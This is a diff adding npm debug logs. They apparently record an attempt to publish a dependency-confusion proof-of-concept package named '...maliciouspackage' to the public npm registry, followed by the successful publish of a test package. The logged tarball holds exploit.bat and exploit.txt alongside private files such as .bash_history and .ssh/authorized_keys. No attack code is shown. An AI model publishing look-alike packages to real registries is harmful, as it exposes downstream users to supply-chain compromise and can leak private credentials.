+ 45 verbose stack HttpErrorGeneral: 403 Forbidden - PUT https://registry.npmjs.org/mygcpconfusedfunctionpocmaliciouspackage - You do not have permission to publish "mygcpconfusedfunctionpocmaliciouspackage". Are you logged in as the correct user?
85
+ 45 verbose stack at /usr/share/nodejs/npm/node_modules/npm-registry-fetch/lib/check-response.js:95:15
86
+ 45 verbose stack at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
87
+ 45 verbose stack at async publish (/usr/share/nodejs/libnpmpublish/lib/publish.js:42:12)
88
+ 45 verbose stack at async otplease (/usr/share/nodejs/npm/lib/utils/otplease.js:4:12)
89
+ 45 verbose stack at async Publish.exec (/usr/share/nodejs/npm/lib/commands/publish.js:126:7)
90
+ 45 verbose stack at async module.exports (/usr/share/nodejs/npm/lib/cli.js:133:5)
91
+ 46 verbose statusCode 403
92
+ 47 verbose pkgid mygcpconfusedfunctionpocmaliciouspackage@1.0.0
93
+ 48 verbose cwd /home/bigibson
94
+ 49 verbose Linux 6.8.0-1021-azure
95
+ 50 verbose node v18.19.1
96
+ 51 verbose npm v9.2.0
97
+ 52 error code E403
98
+ 53 error 403 403 Forbidden - PUT https://registry.npmjs.org/mygcpconfusedfunctionpocmaliciouspackage - You do not have permission to publish "mygcpconfusedfunctionpocmaliciouspackage". Are you logged in as the correct user?
99
+ 54 error 403 In most cases, you or one of your dependencies are requesting
100
+ 54 error 403 a package version that is forbidden by your security policy, or
101
+ 54 error 403 on a server you do not have access to.
102
+ 55 verbose exit 1
103
+ 56 timing npm Completed in 712ms
104
+ 57 verbose code 1
105
+ 58 error A complete log of this run can be found in:
106
+ 58 error /home/bigibson/.npm/_logs/2025-02-20T17_31_53_704Z-debug-0.log
@@ -0,0 +1,38 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@9.2.0
3
+ 2 info using node@v18.19.1
4
+ 3 timing npm:load:whichnode Completed in 1ms
5
+ 4 timing config:load:defaults Completed in 3ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 4ms
7
+ 6 timing config:load:builtin Completed in 4ms
8
+ 7 timing config:load:cli Completed in 2ms
9
+ 8 timing config:load:env Completed in 1ms
10
+ 9 timing config:load:project Completed in 1ms
11
+ 10 timing config:load:file:/home/bigibson/.npmrc Completed in 1ms
12
+ 11 timing config:load:user Completed in 1ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 1ms
14
+ 13 timing config:load:global Completed in 1ms
15
+ 14 timing config:load:setEnvs Completed in 2ms
16
+ 15 timing config:load Completed in 15ms
17
+ 16 timing npm:load:configload Completed in 16ms
18
+ 17 timing npm:load:mkdirpcache Completed in 0ms
19
+ 18 timing npm:load:mkdirplogs Completed in 0ms
20
+ 19 verbose title npm whoami
21
+ 20 verbose argv "whoami"
22
+ 21 timing npm:load:setTitle Completed in 5ms
23
+ 22 timing config:load:flatten Completed in 7ms
24
+ 23 timing npm:load:display Completed in 9ms
25
+ 24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-20T17_32_25_292Z-
26
+ 25 verbose logfile /home/bigibson/.npm/_logs/2025-02-20T17_32_25_292Z-debug-0.log
27
+ 26 timing npm:load:logFile Completed in 13ms
28
+ 27 timing npm:load:timers Completed in 0ms
29
+ 28 timing npm:load:configScope Completed in 1ms
30
+ 29 timing npm:load Completed in 46ms
31
+ 30 silly logfile start cleaning logs, removing 1 files
32
+ 31 timing config:load:flatten Completed in 1ms
33
+ 32 silly logfile done cleaning log files
34
+ 33 http fetch GET 200 https://registry.npmjs.org/-/whoami 194ms (cache miss)
35
+ 34 timing command:whoami Completed in 198ms
36
+ 35 verbose exit 0
37
+ 36 timing npm Completed in 265ms
38
+ 37 info ok
@@ -0,0 +1,89 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@9.2.0
3
+ 2 info using node@v18.19.1
4
+ 3 timing npm:load:whichnode Completed in 1ms
5
+ 4 timing config:load:defaults Completed in 3ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 3ms
7
+ 6 timing config:load:builtin Completed in 3ms
8
+ 7 timing config:load:cli Completed in 4ms
9
+ 8 timing config:load:env Completed in 1ms
10
+ 9 timing config:load:project Completed in 1ms
11
+ 10 timing config:load:file:/home/bigibson/.npmrc Completed in 1ms
12
+ 11 timing config:load:user Completed in 1ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 0ms
14
+ 13 timing config:load:global Completed in 1ms
15
+ 14 timing config:load:setEnvs Completed in 1ms
16
+ 15 timing config:load Completed in 16ms
17
+ 16 timing npm:load:configload Completed in 16ms
18
+ 17 timing npm:load:mkdirpcache Completed in 0ms
19
+ 18 timing npm:load:mkdirplogs Completed in 0ms
20
+ 19 verbose title npm publish
21
+ 20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
22
+ 21 timing npm:load:setTitle Completed in 3ms
23
+ 22 timing config:load:flatten Completed in 6ms
24
+ 23 timing npm:load:display Completed in 11ms
25
+ 24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-20T17_32_58_080Z-
26
+ 25 verbose logfile /home/bigibson/.npm/_logs/2025-02-20T17_32_58_080Z-debug-0.log
27
+ 26 timing npm:load:logFile Completed in 13ms
28
+ 27 timing npm:load:timers Completed in 0ms
29
+ 28 timing npm:load:configScope Completed in 0ms
30
+ 29 timing npm:load Completed in 46ms
31
+ 30 verbose publish [ '.' ]
32
+ 31 timing config:load:flatten Completed in 1ms
33
+ 32 silly logfile start cleaning logs, removing 1 files
34
+ 33 silly logfile done cleaning log files
35
+ 34 timing arborist:ctor Completed in 1ms
36
+ 35 notice
37
+ 36 notice 📦 mygcpconfusedfunctionpoctestpackage@1.0.0
38
+ 37 notice === Tarball Contents ===
39
+ 38 notice 11.0kB .bash_history
40
+ 38 notice 220B .bash_logout
41
+ 38 notice 3.8kB .bashrc
42
+ 38 notice 0B .cache/motd.legal-displayed
43
+ 38 notice 20B .lesshst
44
+ 38 notice 13B .npm/_cacache/_lastverified
45
+ 38 notice 39.0kB .npm/_cacache/content-v2/sha512/3d/2e/8f404043bf46e458a2dedf19a4ec74d8c379005727ea5eaf44a88e430d0bccdfcb2c6e00c5069d6a1c3eb28fe804672f788196e273ac5c612783f940115a
46
+ 38 notice 159.6kB .npm/_cacache/content-v2/sha512/73/24/ab22de871b58c47a962ece82193f224b6c57154bb808c59d9a2777c83807630329ce5d921fec115c0e26c5700f50b2b0b93b1ef7ec3cf86e99e921dc59a6
47
+ 38 notice 8.4kB .npm/_cacache/content-v2/sha512/74/96/98bc622eb555e919675c2646628d2154adaa2678bcb5e31eb5a3cc1e2599f9c987440cfcf6bbeacd071b9c05091c4fd92b92680df20baf4c1d9d14a61979
48
+ 38 notice 27B .npm/_cacache/content-v2/sha512/76/24/0207b71e6fed0a8a0d7a6a0c28b3f5ad32122a5227fe9edbb7f0f9fd6dfdefc9529dfc8cc25004f41ac24cc7d36a8412e5216dd0ef1189e3ef13b4ba32e1
49
+ 38 notice 79.1kB .npm/_cacache/content-v2/sha512/cb/ee/a33fc813c6e16025cf6f1f8602668e53f85fd9120f022fb61e34b92f5ddc51badb5366281bbd752c6ab12068df9efaaabdd61f444b1cedf6300428aa4237
50
+ 38 notice 18.8kB .npm/_cacache/content-v2/sha512/d4/f7/fd873ae3f46ecbf343cd0fc6b8c0563eddb31a624aeab26b59e00d60a76ee619c5c84d6fe74246f724e2332fba5bfadadb4fedd51fb9bf7305b4bcd4c05e
51
+ 38 notice 495B .npm/_cacache/index-v5/9a/5d/18b734f038b4b4e0f36a1c1d9c852b951409916ab3205e88ac3cab28e02b
52
+ 38 notice 1.1kB .npm/_cacache/index-v5/ae/c1/794477315825298db9ca27dfd950e963043ec553246545524bbab48a0c70
53
+ 38 notice 1.7kB .npm/_logs/2025-02-18T21_31_20_232Z-debug-0.log
54
+ 38 notice 1.7kB .npm/_logs/2025-02-18T21_31_36_441Z-debug-0.log
55
+ 38 notice 4.1kB .npm/_logs/2025-02-18T21_32_40_480Z-debug-0.log
56
+ 38 notice 8.6kB .npm/_logs/2025-02-18T21_33_03_139Z-debug-0.log
57
+ 38 notice 8.7kB .npm/_logs/2025-02-18T21_50_24_882Z-debug-0.log
58
+ 38 notice 3.0kB .npm/_logs/2025-02-19T18_25_06_875Z-debug-0.log
59
+ 38 notice 9.7kB .npm/_logs/2025-02-19T18_26_25_285Z-debug-0.log
60
+ 38 notice 2.9kB .npm/_logs/2025-02-20T17_24_53_241Z-debug-0.log
61
+ 38 notice 10.1kB .npm/_logs/2025-02-20T17_31_53_704Z-debug-0.log
62
+ 38 notice 1.7kB .npm/_logs/2025-02-20T17_32_25_292Z-debug-0.log
63
+ 38 notice 1.7kB .npm/_logs/2025-02-20T17_32_58_080Z-debug-0.log
64
+ 38 notice 0B .npm/_update-notifier-last-checked
65
+ 38 notice 807B .profile
66
+ 38 notice 100B .ssh/authorized_keys
67
+ 38 notice 142B .ssh/known_hosts
68
+ 38 notice 0B .sudo_as_admin_successful
69
+ 38 notice 327B base.ldif
70
+ 38 notice 377B exploit.bat
71
+ 38 notice 3.8kB exploit.txt
72
+ 38 notice 372B package.json
73
+ 38 notice 289B package.json.save
74
+ 39 notice === Tarball Details ===
75
+ 40 notice name: mygcpconfusedfunctionpoctestpackage
76
+ 40 notice version: 1.0.0
77
+ 40 notice filename: mygcpconfusedfunctionpoctestpackage-1.0.0.tgz
78
+ 40 notice package size: 304.5 kB
79
+ 40 notice unpacked size: 381.4 kB
80
+ 40 notice shasum: c7e7fe87d68547ac0235a38de431674142f5f0bf
81
+ 40 notice integrity: sha512-i3zQhgUvqJs3H[...]mXyXJpyCIkWXQ==
82
+ 40 notice total files: 35
83
+ 41 notice
84
+ 42 notice Publishing to https://registry.npmjs.org/ with tag latest and default access
85
+ 43 http fetch PUT 200 https://registry.npmjs.org/mygcpconfusedfunctionpoctestpackage 2189ms
86
+ 44 timing command:publish Completed in 2536ms
87
+ 45 verbose exit 0
88
+ 46 timing npm Completed in 2608ms
89
+ 47 info ok